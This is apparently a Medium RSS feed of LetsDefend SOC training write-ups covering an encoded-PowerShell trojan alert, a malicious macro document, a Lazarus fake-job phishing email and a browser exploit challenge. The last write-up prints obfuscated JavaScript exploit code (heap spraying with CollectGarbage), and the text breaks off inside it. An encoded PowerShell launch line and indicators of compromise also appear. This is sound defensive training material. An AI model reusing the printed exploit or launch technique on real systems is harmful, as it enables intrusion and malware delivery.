<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jonathan Alphonse on Medium]]></title>
        <description><![CDATA[Stories by Jonathan Alphonse on Medium]]></description>
        <link>https://medium.com/@alphonsejf?source=rss-8d7f3154321b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*irTcSQGB_A-HBZlyeBjNyQ.jpeg</url>
            <title>Stories by Jonathan Alphonse on Medium</title>
            <link>https://medium.com/@alphonsejf?source=rss-8d7f3154321b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 09:03:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alphonsejf/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SOC204 EventID:243 PowerShell Encoded Command Detected — letsdefend.io]]></title>
            <link>https://medium.com/@alphonsejf/soc204-eventid-243-powershell-encoded-command-detected-letsdefend-io-6fd41120a541?source=rss-8d7f3154321b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fd41120a541</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jonathan Alphonse]]></dc:creator>
            <pubDate>Sat, 23 Aug 2025 23:34:14 GMT</pubDate>
            <atom:updated>2025-08-23T23:34:14.266Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC204 EventID:243 PowerShell Encoded Command Detected — letsdefend.io</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*231G_CZoy45EOfK3NsodBw.png" /></figure><p>This write-up will show you how to investigate this alert associated with a malicious PowerShell script being executed on an endpoint. Before we start, we must go over what triggered this alert. The name of this alert is “PowerShell Encoded Command Detected”. So what does this mean? For starters, our AV/EDR has identified a malicious PowerShell command running on an endpoint that is using encoding to hide its true purpose. While this can sometimes be used for legitimate administrative tasks, it’s a common technique for malware, hackers, and other malicious actors to evade detection by security software. Immediate action is required to contain and remediate the threat.</p><p><strong>What’s the Problem?</strong></p><p>On March 26, 2024, 09:24 AM, the user <a href="/service/mailto:hilary@letsdefend.io">hilary@letsdefend.io</a> received an email from support@analogydispatch.top titled March 2024 Patch. This email contains a file claiming to be a patch.</p><p>Here is a screenshot of the email. As you can see, towards the bottom, there is a link to the patch:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*WEe_2fFuPwmW04C6EeBISg.png" /><figcaption>Figure 1 — Phishing Email</figcaption></figure><p>With this in mind, let’s investigate this alert.</p><pre>EventID: 243<br>Event Time: Mar 26 2024, 09:24 AM<br>Rule:  SOC204 - Powershell Encoded Command Detected<br>Level: Incident Responder<br>Hostname: Hilary<br>IP Address: 172.16.17.197<br>File Name: patch.vbs<br>File Path: C:\Users\LetsDefend\Downloads\patch\patch.vbs<br>File Hash: 0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66<br>Process Name: powershell.exe<br>Command Line: &quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -command &quot;$codigo = &#39;...&#39;;$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace(&#39;DgTre&#39;,&#39;A&#39;) ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD&quot;<br>Trigger Reason: Powershell encoded command ran on system<br>Device Action: Allowed<br>L1 Note: &quot;I saw an encoded PowerShell command being executed on the user&#39;s host. However, I could not understand what was intended with these commands. In addition, I detected that the system received an email from the address &#39;support@analogydispatch.top&#39; minutes before the alert.&quot;</pre><p>Make Sure to search the EDR for the Hilary endpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*EorHuE3ReLSju6vu2f2_2A.png" /><figcaption>Figure 2 — Hilary Endpoint</figcaption></figure><p><strong>Let’s Start the Investigation?</strong></p><p>Let’s begin with going over the PlayBook Questions and Answers:</p><p>1. Is the file malicious? <strong>YES</strong>. You first have to use PowerShell to find the hash of the patch.vbs file. Make sure to use the Get-FileHash command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wUVaY8-vu-qk93_mynzNhQ.png" /><figcaption>Figure 3 — Using PowerShell to Get File Hash</figcaption></figure><p>After obtaining the file hash, you can search on VirusTotal.com to determine if the file is malicious. Here is a link: <a href="https://www.virustotal.com/gui/file/0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66/details">https://www.virustotal.com/gui/file/0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66/details</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZutHxBZ9gCZ97_QKzOWGdA.png" /><figcaption>Figure 4 — VirusTotal File Lookup</figcaption></figure><p>2. What is the Malware Type? <strong>TROJAN: </strong>Since this malicious file was shared via email and described as a patch, it would qualify as a Trojan. You can also look at the threat category on VirusTotal.com to determine what kind of malware this file was.</p><p>3. What is the initial access method used in the attack? <strong>Phishing. </strong>As previously stated in this write-up, we know that the initial access was made possible via a phishing email.</p><p>4. Have you seen IOCs on more than one machine? <strong>NO. </strong>After reviewing the logs, I don’t see any evidence of the malware trying to pivot to other devices on the network.</p><p>5. Malware quarantined/cleaned? <strong>Not Quarantined/Not Cleaned. </strong>Since the malware was allowed to run on the endpoint, I know the device wasn’t automatically quarantined by the AV/EDR one the malicious activity was identified.</p><p>6. Has the malware been executed on the device? <strong>YES. </strong>If we look at the Windows Event Logs, we can see that the file was not only executed on the device, but the user also clicked on the malicious link from the phishing email, which resulted in the malware being downloaded the the user&#39;s device. Look at the security logs and search for “patch.vbs”. You will find events from 3/26/24 around 9:22 am.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nWiARei4uZQEbdNxaM2Ohw.png" /><figcaption>Figure 5 — Downloading Trojan Event</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wiUaUz9-8Zv_JKXRc3dumw.png" /><figcaption>Figure 6 — Executing Trojan Event</figcaption></figure><p>7. Which technique(s) were used as an execution tactic? <strong>Command and Scripting Interpreter. </strong>After doing some research, the patch.vbs file was executed using a technique called <strong>Living Off the Land</strong> (LotL).</p><p>This technique leverages legitimate, built-in system tools in this case, cscript.exeto perform malicious actions. Instead of dropping a new, suspicious executable onto the system, the attacker used a trusted Microsoft process to run their script. This is a specific MITRE ATT&amp;CK technique (T1059) that directly aligns with the LotL concept. It describes how an attacker uses built-in command shells and scripting languages like cscript.exe (as seen in the alert), PowerShell.exe, cmd.exe, or others to execute commands and malicious code.</p><p>Here is a more detailed breakdown:</p><ul><li><strong>New Process Name: C:\Windows\System32\cscript.exe</strong>: This is a native Windows utility for executing scripts from the command line. Because it&#39;s a legitimate program, it can easily fly under the radar of many security tools that are primarily looking for unknown or blacklisted executables.</li><li><strong>Creator Process Name: C:\Windows\explorer.exe</strong>: The process that started cscript.exe was explorer.exe, which is the Windows File Explorer. This indicates the script was likely launched from a user&#39;s desktop, a downloaded folder, or as a result of the user double-clicking the file. This is a common way for an initial payload to be executed.</li><li><strong>Process Command Line: &quot;C:\Windows\System32\CScript.exe&quot; &quot;C:\Users\LetsDefend\Downloads\patch\patch.vbs&quot;</strong>: The command line cscript.exe was explicitly used to run a VBScript file patch.vbs located in the Downloads folder. The name &quot;patch.vbs&quot; is a social engineering tactic designed to trick the user into thinking the file is a benign system update.</li></ul><p>8. Check If Someone Requested the C2? Accessed</p><p>To find the requests made via PowerShell.exe, we should check the logs<br>belonging to the source IP “172[.]16.17.197” in Log Management. As a result, the following IPs were seen going to the following destination IP Addresses:</p><p>● 185[.]88.175.125</p><p>● 208[.]95.112.1</p><p>● 93[.]123.39.145</p><p>● 172[.]67.215.45</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dBJadpoyGtPuY204ELxzZQ.png" /><figcaption>Figure 7 — This Comes From A Report Found on Hybrid-Analysis</figcaption></figure><p><a href="https://hybrid-analysis.com/sample/0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66/6896dc9c17a7e8fccc0e887c">Link to Hybrid-Analysis</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJOlxbwHtY-s2XMeDOVOaQ.png" /><figcaption>Type 8 — Log Management Evidence</figcaption></figure><p>9. Should this endpoint be contained? <strong>Yes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*MpHvCa9uxrdZnzTMaI3BKQ.png" /><figcaption>Figure 9 — Containing the Host</figcaption></figure><p>10. Eradication: Delete the email from the user’s endbox and delete the malicious file from their device.</p><p>List of Artifacts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*FdrQkSWbG7AAdtDfIkH6Kg.png" /><figcaption>Figure 10 — List of Artifacts</figcaption></figure><p>Based on everything we reviewed, we can confirm that this event was a True Positive.</p><p><strong>Summary</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6FC4lh11qmo9rbsH2DdS8A.png" /></figure><p>Thanks for reading this walkthrough.</p><p>#SOC #BlueTeam #LetsDefend</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fd41120a541" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC205 EventID:231 — Malicious Macro has been executed — letsdefend.io]]></title>
            <link>https://medium.com/@alphonsejf/soc205-eventid-231-malicious-macro-has-been-executed-letsdefend-io-ee62b5102307?source=rss-8d7f3154321b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee62b5102307</guid>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <dc:creator><![CDATA[Jonathan Alphonse]]></dc:creator>
            <pubDate>Wed, 11 Jun 2025 01:57:49 GMT</pubDate>
            <atom:updated>2025-06-11T01:57:49.527Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC205 EventID:231 — Malicious Macro has been executed — letsdefend.io</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*a5nL-5VU359GAKXkgMG_IA.png" /></figure><p>This write-up will show you how to investigate this alert associated with a malware that triggered the AV/EDR. Before we start, we must go over what triggered this alert. The name of this alert is “Malicious Macro has been executed”. So what does this mean? For starters, this alert strongly indicates that a potentially dangerous file, likely an Office document containing a malicious macro, has been detected and possibly executed on your system. Immediate action is required to contain and remediate the threat.</p><p><strong>What’s the Problem?</strong></p><p>On February 28, 2024, at 08:12 AM, the user jayne@letsdefend.io received an email from jake.admin@cybercommunity.info titled February Membership Fee. This email contains what looks like an invoice for a membership fee for February.</p><p>Here is a screenshot of the email. As you can see, towards the bottom, there is a link to the invoice with the password used to encrypt it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YonFyNcnVw2NhJ8vpa_Bjw.png" /><figcaption>Figure 1 — Phihsing Email</figcaption></figure><p>With this in mind, let’s investigate this alert.</p><pre>EventID: 231<br>Event Time: February 28 2024 08:42 AM<br>Rule: SOC205 - Malicious Macro has been executed<br>Level: Security Analyst<br>Hostname: Jayne<br>IP Address: 172.16.17.198<br>File Name: editl-invoice.docm<br>File Path: C:\Users LetsDefend Downloads editl-invoice.docm<br>File Hash: 1a819d18c9a9de4f81829c4cd55al7f767443c22f9b30ca953866827e5d96fb0<br>Trigger Reason: Suspicious file detected on system.<br>AV/EDR: Detected</pre><p><strong>What’s the Problem?</strong></p><p>This log entry indicates a confirmed security incident on <strong>Jayne’s</strong> computer (<strong>172.16.17.198</strong>) at <strong>8:42 AM on February 28, 2024.</strong> An AV/EDR solution detected and flagged a file named <strong>edit1-invoice.docm</strong> located in C:\Users\LetsDefend\Downloads\ due to a malicious macro being executed. The suspicious file is <strong>edit1-invoice.docm. </strong>The .docm extension is highly significant; it stands for a macro-enabled Word document. This strongly reinforces the “Malicious Macro” alert, as .docm files are commonly used for macro-based attacks. The name “invoice” suggests a likely phishing attempt, trying to trick the user into opening it.</p><p>Finally, let’s go over the PlayBook Questions and Answers:</p><ol><li>Define Threat Indicator: <strong>Other. </strong>I selected other because this alert was triggered by the AV/EDR being a suspicious file detected on the system.</li><li>Check if the malware is quarantined/cleaned: <strong>Not Quarantined</strong>. I selected not quarantined because when you look at the AV/EDR response on the monitoring page, it states that the action was <strong>detected</strong> but not blocked.</li><li>Analyze Malware: When searching the hash on Virustotal, we see that the file hash is <strong>malicious</strong>: <a href="https://www.virustotal.com/gui/file/1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0">VirusTotal</a>. You can also download the file from the email and upload it to <a href="https://www.hybrid-analysis.com/sample/1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0">Hybrid-Analysis</a>. Once you do that, you will see that this file has been flagged as malicious. Search for logs that have a source IP of (172.16.17.198) and look for a process that used PowerShell.</li><li>Check If Someone Requested the C2: <strong>Accessed. </strong>Normally, when investigating these kinds of events, you have access to the Endpoint logs, but when I checked <strong>Jayne’s </strong>computer, it seems like not all of the logs aren’t appearing, so I have to use my knowledge and experience to make some assumptions. If a macro is used to run a command on a Windows computer, it is safe to assume the script is using PowerShell. If that is the case, then this log record would match that description. Search for logs that have a source IP of (172.16.17.198) and look for a process that used PowerShell:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*RjzwFoGE1OVT5G4h-g6kQw.png" /><figcaption>Figure 2 — Log Management</figcaption></figure><p>When you look up the destination IP Address (92.204.221.16) on <a href="https://www.abuseipdb.com/check/92.204.221.16">abuseipdb.com</a>, it shows that it is malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*QgURAUeVrk7edT4WolyIkQ.png" /><figcaption>Figure 3 — Malicious IP Lookup</figcaption></figure><p>We can also see that the powershell script is requesting hxxp[://]WWW[.]GREYHATHACKER[.]NET/TOOLS/MESSBOX[.]EXE</p><p>5. Please go to the “EDR” page and contain the user machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dHOF6G9_yIcjrggpae5VTA.png" /><figcaption>Figure 4— Containing the Endpoint</figcaption></figure><p>List of Artifacts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*lCBosDCwS4RO_v_Vll9irA.png" /><figcaption>Figure 5— List of Artifacts</figcaption></figure><p>This is a <strong>True Positive. </strong>Feel free to complete this investigation by submitting your report.</p><p>Here is a high level <strong>Summary</strong> of the incident:</p><p>On February 28, 2024, at 8:12 AM, user jayne@letsdefend.io received a phishing email titled “February Membership Fee” from jake.admin@cybercommunity.info, containing a malicious invoice file named edit1-invoice.docm. This macro-enabled Word document, identified by hash1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0, was downloaded to C:\Users\LetsDefend\Downloads\ on Jayne&#39;s computer (172.16.17.198) and triggered an AV/EDR alert at 8:42 AM for a &quot;Malicious Macro has been executed.&quot; Critically, the AV/EDR only &quot;Detected&quot; the threat, indicating it was <strong>not quarantined or blocked</strong>, allowing the malicious macro to execute. Analysis of the file hash on VirusTotal and Hybrid-Analysis confirms its malicious nature. Subsequent investigation, leveraging experience due to incomplete endpoint logs, suggests the macro likely invoked PowerShell, which then attempted to connect to a malicious Command and Control (C2) server at 92.204.221.16 (identified as malicious by AbuseIPDB.com), specifically requesting hxxp[://]WWW[.]GREYHATHACKER[.]NET/TOOLS/MESSBOX[.]EXE. This indicates an active compromise and an attempt to download further malware.</p><p>Thanks for reading this walkthrough.</p><p>#SOC #BlueTeam #LetsDefend</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee62b5102307" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC337 EventID:315— Lazarus Phishing Campaign Detected — letsdefend.io]]></title>
            <link>https://medium.com/@alphonsejf/soc337-eventid-315-lazarus-phishing-campaign-detected-letsdefend-io-2f66671e6c2b?source=rss-8d7f3154321b------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f66671e6c2b</guid>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jonathan Alphonse]]></dc:creator>
            <pubDate>Sat, 15 Mar 2025 02:29:16 GMT</pubDate>
            <atom:updated>2025-03-15T02:29:16.514Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC337 EventID:315— Lazarus Phishing Campaign Detected — letsdefend.io</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*F0-ruC9QIH2EOnyhnzuyCQ.png" /></figure><p>This write-up will show how to investigate this phishing alert associated with an APT (Advanced Persistent Threat). Before we start, we must go over what triggered this alert. The name of this alert is “Lazarus Phishing Campaign Detected ”. So what does this mean? For starters, it refers to a malicious cyber-attack carried out by the Lazarus Group.</p><p>Here’s a breakdown of the alert:</p><p>Lazarus Group:</p><ul><li>A notorious, state-sponsored cyber threat group believed to be linked to North Korea.</li><li>They are known for a wide-range of cyberattacks, including financial theft, cyber espionage, and phishing attacks.</li></ul><p>Phishing Campaign:</p><ul><li>Phishing attacks often use emails, messages, or websites that appear legitimate.</li><li>This involves deceptive attempts to trick individuals into revealing sensitive information, such as usernames, passwords, or financial details.</li></ul><p>Recently, the Lazarus group has been seen targeting new job seekers with fake job offers used to collect PII.</p><p>With this in mind let’s investigate this alert.</p><pre>EventID: 315<br>Event Time: March 06, 2025 07:15 AM<br>Rule: SOC337 - Lazarus Group Phishing Campaign Setected<br>Level: Incident Responder<br>SMTP Address: 152.89.61.96<br>Source Address: trevorgreer9312@gmail.com<br>Destination Address: Ellen@letsdefend.io<br>E-mail Subject: Invitation: Coinbase Crypto Trader Hiring Assessment<br>Device Action:Allowed</pre><p><strong>What’s the Problem?</strong></p><p>On March 06, 2025, at 07:15 AM the user Ellen@letsdefend.io received an email from trevorgreer@gmail.com titled Invitation: Coinbase Crypto Trader Hiring Assessment. This email contains what looks like an assessment for a Crypto Trader job at Coinbase. Obviously, we can tell from the sender&#39;s email address using the “@gmail” domain that they most likely don’t work at Coinbase.</p><p>Here is a screenshot of the email. As you can see, towards the bottom, there is a link to the assessment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*iIo_o9YMDNI9xf9evw77rA.png" /><figcaption>Figure 1 — Email</figcaption></figure><p>I copied the link embedded in the “Continue” button and inputted it into <a href="https://www.url2png.com/">url2png.com</a> to capture a screenshot of the site. If you don&#39;t have access to a sandbox, a site like <a href="https://www.url2png.com/">url2png.com</a> can help you inspect malicious sites.</p><p>Here is a screenshot of the “phishing/malicious” website landing page. The attacker seems to have put some effort into making the site look legitimate by explaining the application process to the job seeker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*jopAOg1jIo_tAIpZ2sH2pQ.png" /><figcaption>Figure 2 — Malicious Webpage</figcaption></figure><p>As you continue to scroll down the webpage, you will see that the site contains a form that you have to fill out before you can start the assessment. The attacker is looking for information like:</p><ul><li>Email address</li><li>Full Address</li><li>Work Experience</li><li>Social Links</li><li>Gender</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*fkGY1QwhcWhVBiy-rzKQ1A.png" /><figcaption>Figure 3 — Confirmation Form</figcaption></figure><p><strong>Let’s Start Answering The Playbook Questions</strong></p><p>Below I have answered the parse email questions. Before starting the analysis the following information about the incoming email should be obtained:</p><pre>When was the email sent?: March 06, 2025 at 07:15 AM<br>What is the email&#39;s SMTP address?: 152.89.61.96<br>What is the sender address?: trevorgreer@gmail.com<br>What is the receipt address?: Ellen@letsdefend.io<br>Is the mail content suspicious?: Yes, it is a fake Coinbase job assessment<br>Are there any attachments?: No</pre><p><strong>Question #1:</strong> Are there attachments or URLs in the email?: <strong>Yes,</strong> Refer to the “Continue” button in Figure 1.</p><p><strong>Question #2:</strong> Analyze the URL, is it malicious? <strong>Yes, </strong>After submitting the URL to both <a href="https://www.virustotal.com/gui/home/upload">virustotal.com</a> and <a href="https://www.abuseipdb.com/">abuseipdb.com</a> I can determine that the link is malicious.</p><p>Defanged Link: hxxps[://]blockchainjobhub[.]com/invite/E3fM8yF7</p><p>VirusTotal Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*0fZ5101gv9L1JdPJjTRfVg.png" /><figcaption>Figure 4 — VirusTotal</figcaption></figure><p>Abuse IP Database Results: It resolved the link to the SMTP address 152[.]89[.]61[.]96 which came back as malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*K1keEkCKgODjIr_ZIt_NsA.png" /><figcaption>Figure 5 — AbuseIPDB</figcaption></figure><p><strong>Question #3:</strong> Check if the email was delivered?: <strong>Yes</strong>, we can see that the device action was allowed. This means that his email was allowed to be received.</p><p><strong>Remediation:</strong> Make sure to delete the malicious email from Ellen&#39;s mailbox.</p><p><strong>Question #4: </strong>Check if someone opened the malicious File/URL?: <strong>Yes,</strong> it was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*bc9Ct0CRAWlZTuggX2La-w.png" /><figcaption>Figure 6 — Log Management</figcaption></figure><p>We can also see on Ellen&#39;s endpoint that the website was visited in her browser history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*hIIE2edJfnzeAmzatPKUJQ.png" /><figcaption>Figure 7 — Ellen’s Browser History</figcaption></figure><p><strong>Question #5: </strong>Is the email was spoofed?: <strong>No</strong></p><p>We know that the sender used a Gmail address. Based on the provided email header, there’s no immediate, glaring evidence of spoofing. The presence of SPF, DKIM, and DMARC records, and their “pass” results, strongly suggest the email is legitimate. We also know that the sender&#39;s server’s IP address (209.85.220.41) is authorized to send emails on behalf of trevorgreer9312@gmail[.]com. The IP address 209.85.220.41 is a Google IP address, this is where Gmail emails are sent from.</p><pre>Received-SPF: pass (google.com: domain of trevorgreer9312@gmail.com designates 209.85.220.41 as permitted sender) client-ip=209.85.220.41;<br>Authentication-Results: mx.google.com;<br>       dkim=pass @gmail.com&quot;&gt;header.i=@gmail.com header.s=20230601 header.b=cd4aJJ+7;<br>       spf=pass (google.com: domain of trevorgreer9312@gmail.com designates 209.85.220.41 as permitted sender) smtp.mailfrom=trevorgreer9312@gmail.com;<br>       dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=gmail.com<br>DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601;<br>        h=content-transfer-encoding:mime-version:subject:to:from:date:from</pre><p>After putting the 209.85.220.41 IP address into whois (<a href="https://www.whois.com/whois/209.85.220.41">https://www.whois.com/whois/209.85.220.41</a>) we can see that the IP address belongs to Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*xtQTZKJoaRLkfwYTvS8EdA.png" /><figcaption>Figure 8 — spf IP Address whois lookup</figcaption></figure><p>List of Artifacts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*JiL9z3PnUEsCnXv77XDq9w.png" /></figure><p>This is a <strong>True Positive. </strong>Feel free to complete this investigation by submitting your report.</p><p>Thanks for reading this walkthrough.</p><p>#SOC #BlueTeam #LetsDefend</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f66671e6c2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Write-Up] Lets Defend Browser Exploit Challenge]]></title>
            <link>https://medium.com/@alphonsejf/write-up-lets-defend-browser-exploit-challenge-a2bbe61690a2?source=rss-8d7f3154321b------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2bbe61690a2</guid>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[browsers]]></category>
            <dc:creator><![CDATA[Jonathan Alphonse]]></dc:creator>
            <pubDate>Wed, 01 Jan 2025 19:55:16 GMT</pubDate>
            <atom:updated>2025-01-01T19:55:16.146Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*6C4YKpufE384GBjV" /></figure><p>Here is my official write-up for the Browser Exploit Lets Defend Challenge. I hope this guide helps you on your IT/Cybersecurity self-study journey.</p><p>The scenario is as follows:</p><p>It’s a busy Monday morning at your organization, and the IT security team receives an urgent alert: one of your web servers has been infected with malware. The infected server hosts critical applications and handles sensitive customer data. The IT team determined the malware was unknown and potentially sophisticated upon investigation.</p><p>So at a high-level, why is this code malicious?</p><p>This <strong>obfuscated JavaScript is</strong> likely used for malicious purposes, such as redirecting users to harmful websites, executing hidden code, or delivering malware. The redirection to ../nojs.php and the use of NoScript for users with JavaScript disabled suggests it may be trying to perform actions without detection or when JavaScript is disabled.</p><p>With this information in mind, let’s start answering the questions.</p><p>We will be referring to this code to answer the following questions:</p><pre>&lt;html&gt;<br><br>&lt;head id=&#39;headId&#39;&gt;<br>    &lt;title&gt;SvWLQAda&lt;/title&gt;<br>    &lt;script&gt;<br>        var hDAVYVhp = function (TRdPNtO) {<br>            return TRdPNtO[&#39;toString&#39;](36)<br>        };<br>        var mqQUHDzc = &#39;%66%75%6e%63%74%69%6f%6e%20%65%59%6c%52%66%58%28%64%77%6f%72%64%29%7b%76%61%72%20%64%3d%4e%75%6d%62%65%72%28%64%77%6f%72%64%29%5b%27%74%6f%53%74%72%69%6e%67%27%5d%28%31%36%29%3b%77%68%69%6c%65%28%64%5b%27%6c%65%6e%67%74%68%27%5d%3c%38%29%7b%64%3d%27%30%27%2b%64%3b%7d%72%65%74%75%72%6e%20%75%6e%65%73%63%61%70%65%28%27%25%75%27%2b%64%5b%27%73%75%62%73%74%72%27%5d%28%34%2c%38%29%2b%27%25%75%27%2b%64%5b%27%73%75%62%73%74%72%27%5d%28%30%2c%34%29%29%3b%7d%76%61%72%20%67%5f%61%72%72%3d%5b%5d%3b%76%61%72%20%61%72%72%4c%65%6e%3d%30%78%32%35%30%3b%66%75%6e%63%74%69%6f%6e%20%66%75%6e%28%29%7b%76%61%72%20%61%3d%30%3b%66%6f%72%28%61%3d%30%3b%61%3c%61%72%72%4c%65%6e%3b%2b%2b%61%29%7b%67%5f%61%72%72%5b%61%5d%3d%64%6f%63%75%6d%65%6e%74%5b%27%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%27%5d%28%27%64%69%76%27%29%3b%7d%3b%76%61%72%20%62%3d%65%59%6c%52%66%58%28%30%78%64%65%61%64%63%30%64%65%29%3b%76%61%72%20%63%3d%30%78%31%61%31%62%32%30%30%30%3b%77%68%69%6c%65%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3c%30%78%33%36%30%29%7b%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%39%34%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2b%30%78%31%30%2d%30%78%30%63%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%39%38%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2b%30%78%31%34%2d%30%78%38%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%61%63%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2d%30%78%31%30%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%31%35%63%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%30%78%34%32%34%32%34%32%34%32%29%3b%7d%65%6c%73%65%7b%62%2b%3d%65%59%6c%52%66%58%28%30%78%31%61%31%62%32%30%30%30%2d%30%78%31%30%29%3b%7d%7d%3b%76%61%72%20%64%3d%62%5b%27%73%75%62%73%74%72%69%6e%67%27%5d%28%30%2c%28%30%78%33%34%30%2d%32%29%2f%32%29%3b%74%72%79%7b%74%68%69%73%5b%27%6f%75%74%65%72%48%54%4d%4c%27%5d%3d%74%68%69%73%5b%27%6f%75%74%65%72%48%54%4d%4c%27%5d%3b%7d%63%61%74%63%68%28%65%29%7b%7d%43%6f%6c%6c%65%63%74%47%61%72%62%61%67%65%28%29%3b%66%6f%72%28%61%3d%30%3b%61%3c%61%72%72%4c%65%6e%3b%2b%2b%61%29%7b%67%5f%61%72%72%5b%61%5d%5b%27%74%69%74%6c%65%27%5d%3d%64%5b%27%73%75%62%73%74%72%69%6e%67%27%5d%28%30%2c%64%5b%27%6c%65%6e%67%74%68%27%5d%29%3b%7d%7d%66%75%6e%63%74%69%6f%6e%20%70%75%49%48%61%33%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%5b%27%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%27%5d%28%27%73%63%72%69%70%74%27%29%3b%76%61%72%20%62%3d%61%5b%30%5d%3b%62%5b%27%6f%6e%70%72%6f%70%65%72%74%79%63%68%61%6e%67%65%27%5d%3d%66%75%6e%3b%76%61%72%20%63%3d%64%6f